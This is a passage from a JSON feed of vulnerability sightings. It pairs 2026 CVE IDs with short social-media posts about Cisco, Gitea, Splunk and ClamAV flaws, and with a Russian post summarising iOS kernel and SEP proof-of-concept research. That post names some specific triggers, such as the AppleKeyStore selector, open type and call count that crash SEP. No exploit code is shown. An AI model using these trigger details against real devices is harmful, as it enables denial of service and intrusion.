\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 CVE, \u0430 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0440\u0435\u0441\u0435\u0440\u0447\u0430, race window, panic signature, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u043f-5 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432:\n\n1. CVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 UAF \u0432 AppleKeyStore/AppleSEPKeyStore \u0447\u0435\u0440\u0435\u0437 \u0433\u043e\u043d\u043a\u0443 \u043c\u0435\u0436\u0434\u0443 IOConnectCallMethod \u0438 IOServiceClose; \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 iOS/macOS 26.1-26.2, \u043f\u0430\u0442\u0447 \u0437\u0430\u044f\u0432\u043b\u0435\u043d \u0432 iOS/iPadOS 26.3.\n2. SEP Exhaustion Kernel Panic \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SEP firmware panic \u0447\u0435\u0440\u0435\u0437 AppleKeyStore selector 2 \u0438 open type 0x2022; \u043e\u043a\u043e\u043b\u043e 41 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 crash signature \u0432 SKS.\n3. CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 deferred kernel panic \u0432 AppleJPEGDriver: async decode \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 stale queue node, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 sync decode \u0447\u0435\u0440\u0435\u0437 Camera \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 UAF \u043d\u0430 \u043e\u0431\u0445\u043e\u0434\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438.\n4. Cyanide: Writing Tweaks \u2014 developer reference \u043f\u043e Cyanide tweaks: RemoteCall-\u0441\u0435\u0441\u0441\u0438\u0438, remote_objc API, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 tweak, Settings-\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 Theos/Substrate \u0431\u0435\u0437 SpringBoard dylib-\u0445\u0443\u043a\u043e\u0432.\n5. Patching Metal Graphics into vphone \u2014 clean-room shim \u0434\u043b\u044f Metal compiler plugin \u0432 vphone: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 PCC dyld shared cache \u0438 \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 relocations, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 ~230 \u0441\u0442\u0440\u043e\u043a C++ \u0441 runtime symbol resolution.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u0435\u0441\u0443\u0440\u0438\u0442\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u043c \u044f\u0434\u0440\u0430 iOS \u0438\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 IOKit/SEP, zeroxjf \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u0442\u0443\u0442 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-14T00:00:48.076803Z"}, {"uuid": "d241054a-1639-4217-8a77-a857ea62bada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/poxek/6188", "content": "zeroxjf \u2014 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043f\u043b\u043e\u0442\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u043f\u0440\u043e iOS security research: \u044f\u0434\u0440\u043e, SEP, IOKit, jailbreak/tweak-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0438\u043d\u0434\u0435\u043a\u0441 \u0440\u0430\u0431\u043e\u0442: \u0440\u044f\u0434\u043e\u043c \u043b\u0435\u0436\u0430\u0442 PoC \u0434\u043b\u044f Apple kernel/SEP \u0431\u0430\u0433\u043e\u0432, \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043f\u043e Cyanide \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 Metal \u0432 vphone. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u044b \u0442\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 CVE, \u0430 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0440\u0435\u0441\u0435\u0440\u0447\u0430, race window, panic signature, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u043f-5 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432:\n\n1. CVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 UAF \u0432 AppleKeyStore/AppleSEPKeyStore \u0447\u0435\u0440\u0435\u0437 \u0433\u043e\u043d\u043a\u0443 \u043c\u0435\u0436\u0434\u0443 IOConnectCallMethod \u0438 IOServiceClose; \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 iOS/macOS 26.1-26.2, \u043f\u0430\u0442\u0447 \u0437\u0430\u044f\u0432\u043b\u0435\u043d \u0432 iOS/iPadOS 26.3.\n2. SEP Exhaustion Kernel Panic \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SEP firmware panic \u0447\u0435\u0440\u0435\u0437 AppleKeyStore selector 2 \u0438 open type 0x2022; \u043e\u043a\u043e\u043b\u043e 41 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 crash signature \u0432 SKS.\n3. CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 deferred kernel panic \u0432 AppleJPEGDriver: async decode \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 stale queue node, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 sync decode \u0447\u0435\u0440\u0435\u0437 Camera \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 UAF \u043d\u0430 \u043e\u0431\u0445\u043e\u0434\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438.\n4. Cyanide: Writing Tweaks \u2014 developer reference \u043f\u043e Cyanide tweaks: RemoteCall-\u0441\u0435\u0441\u0441\u0438\u0438, remote_objc API, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 tweak, Settings-\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 Theos/Substrate \u0431\u0435\u0437 SpringBoard dylib-\u0445\u0443\u043a\u043e\u0432.\n5. Patching Metal Graphics into vphone \u2014 clean-room shim \u0434\u043b\u044f Metal compiler plugin \u0432 vphone: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 PCC dyld shared cache \u0438 \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 relocations, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 ~230 \u0441\u0442\u0440\u043e\u043a C++ \u0441 runtime symbol resolution.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u0435\u0441\u0443\u0440\u0438\u0442\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u043c \u044f\u0434\u0440\u0430 iOS \u0438\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 IOKit/SEP, zeroxjf \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u0442\u0443\u0442 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-14T00:00:48.118094Z"}, {"uuid": "e62aa86f-c037-4cd4-8446-f1a0b268fc95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqlgjx2g4p2p", "content": "Daily IT Security Digest \u2014 2026-07-14\nare available immediately.\nSources: https://infosec.exchange/@offseq/116888845110584330\n\n## 3. CRITICAL \u2014 Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild\nA zero-day vulnerability in Cisco Catalyst SD-WAN Manager (CVE-2026-20262) is being actively", "creation_timestamp": "2026-07-14T05:03:15.247367Z"}, {"uuid": "d889309d-f380-4f4d-a548-c0c17f6737dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/manishrawat21.bsky.social/post/3mqlkbiwiy22z", "content": "\u2620\ufe0f Welcome to \"Zero to Sigma: Breaking Down the KEV\" \n\ud83d\udd0e EP-1 : Cisco Catalyst SD-WAN Manager vulnerability\n\nCVE-2026-20245 is a critical improper encoding and escaping vulnerability targeting the Cisco Catalyst SD-WAN Manager, a core component for enterprise routing.\n#cybersecurity #cisa #threatintel", "creation_timestamp": "2026-07-14T06:10:11.380664Z"}, {"uuid": "6a5ef235-c0ab-46cf-be1e-67c8e8ddf3fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mqlornb55u24", "content": "Top 3 CVE for last 7 days:\nCVE-2026-53359: 26 interactions\nCVE-2026-43499: 25 interactions\nCVE-2026-20262: 13 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-56291: 6 interactions\nCVE-2026-48907: 5 interactions\nCVE-2026-57830: 3 interactions\n", "creation_timestamp": "2026-07-14T07:30:43.334938Z"}, {"uuid": "90ff9b90-e6e8-482e-9d94-825003a1a047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/CyberDispatch/2419", "content": "Cisco is warning that a high-severity Secure Firewall Management Center (FMC) static credential vulnerability, tracked as CVE-2026-20316, was actively exploited in zero-day attacks to gain unauthorized access to vulnerable devices.\n\nThe vulnerability is caused by static credentials for a low-privilege account built into Cisco Secure FMC Software.", "creation_timestamp": "2026-08-29T20:00:06.830687Z"}, {"uuid": "11592fdc-c52a-463a-96d4-b2ae8191de95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mqm2hyngyx26", "content": "Gitea Docker CVE-2026-20896 (CVSS 9.8): one spoofed HTTP header = full admin access. ~6,200 exposed instances. Active exploitation confirmed. Patch to 1.26.4 now.\n\n\ud83c\uddec\ud83c\udde7 zurl.co/G9E8x\n\ud83c\udde9\ud83c\uddea zurl.co/KwwWP \n\n #CyberSecurity #Gitea #CVE", "creation_timestamp": "2026-07-14T11:00:04.968761Z"}, {"uuid": "2dac214c-1a3c-4512-9ceb-b040bb766354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/11653", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure \u2013 thehackernews.com\n\nTue, 07 Jul 2026 00:28:59", "creation_timestamp": "2026-07-14T12:00:04.742409Z"}, {"uuid": "3f122138-bc7a-4455-9575-9743f3bf4faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/11396", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access \u2013 thehackernews.com\n\nThu, 25 Jun 2026 13:46:54", "creation_timestamp": "2026-07-14T12:00:04.834660Z"}, {"uuid": "f369bc48-267a-4806-bb67-012b8a229f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/ctinow/252886", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\nhttps://ift.tt/Z1IT7qt", "creation_timestamp": "2026-07-14T14:00:04.759431Z"}, {"uuid": "72a5f557-4992-404d-8bc6-dd1afb855ffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/ctinow/252365", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure\nhttps://ift.tt/Q3WVD4J", "creation_timestamp": "2026-07-14T14:00:04.879440Z"}, {"uuid": "2fc1989f-6a50-44f9-8e5a-ff9bb47fc4bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/ctinow/252301", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild\nhttps://ift.tt/qXvYBET", "creation_timestamp": "2026-07-14T14:00:05.264883Z"}, {"uuid": "00220145-22c5-49f8-8979-6beefd860e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/ctinow/252350", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access\nhttps://ift.tt/aMH1Xh3", "creation_timestamp": "2026-07-14T14:00:05.303079Z"}, {"uuid": "c5289555-1baf-4ce0-a5a4-05b9e200ea7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://t.me/ctinow/251878", "content": "CVE-2026-20262: CISCO Catalyst SD-WAN Flaw Under Active Targeted Exploitation\nhttps://ift.tt/pTJktyL", "creation_timestamp": "2026-07-14T14:00:05.515152Z"}, {"uuid": "7f251082-3149-4506-8c95-0ddbf27cb044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/cibsecurity/89930", "content": "\ud83d\udd8b\ufe0f Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure \ud83d\udd8b\ufe0f\n\nThreat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.  The vulnerability in question is CVE202620896 CVSS score 9.8, a vulnerability that stems from the DevOps platform trusting the \"XWEBAUTHUSER\" header from any source IP address, effectively allowing an unauthenticated internet client to get elevated.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-07-14T14:00:05.432863Z"}, {"uuid": "a11659d0-bcef-43e6-8ca3-afaf099db906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/CyberDispatch/2048", "content": "This Splunk flaw is no longer just theoretical.\n\nSplunk says it is aware of limited exploitation of CVE-2026-20253.", "creation_timestamp": "2026-08-29T20:00:09.266133Z"}, {"uuid": "66514356-f77e-430c-bd7c-3f60ddd580cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "exploited", "source": "https://t.me/ctinow/252264", "content": "Cisco Unified CM flaw CVE-2026-20230 now exploited in attacks\nhttps://ift.tt/mCTNgfo", "creation_timestamp": "2026-07-14T15:00:03.799873Z"}, {"uuid": "ea4aee9b-de1f-472c-b85f-35d4d817e150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mstqlefmqj2o", "content": "Cisco Confirms Active Exploitation of CVE-2026-20349: Critical VPN DoS Flaw Can Crash Secure Firewalls Remotely +\u00a0Video\n\nA New Warning for Internet-Facing Firewalls A serious new cybersecurity warning is putting Cisco firewall administrators on alert. Cisco has confirmed that attackers are actively\u2026", "creation_timestamp": "2026-08-11T23:14:41.718547Z"}, {"uuid": "4eafdbff-a41e-4fc2-998b-574addfb762b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mt667u2kn52i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-68820: 39 interactions\nCVE-2026-59310: 36 interactions\nCVE-2026-20349: 14 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-14484: 3 interactions\nCVE-2026-19900: 3 interactions\nCVE-2026-65400: 3 interactions\n", "creation_timestamp": "2026-08-16T02:45:24.972722Z"}, {"uuid": "7cb00efe-ae55-461e-8abb-4f4095043911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 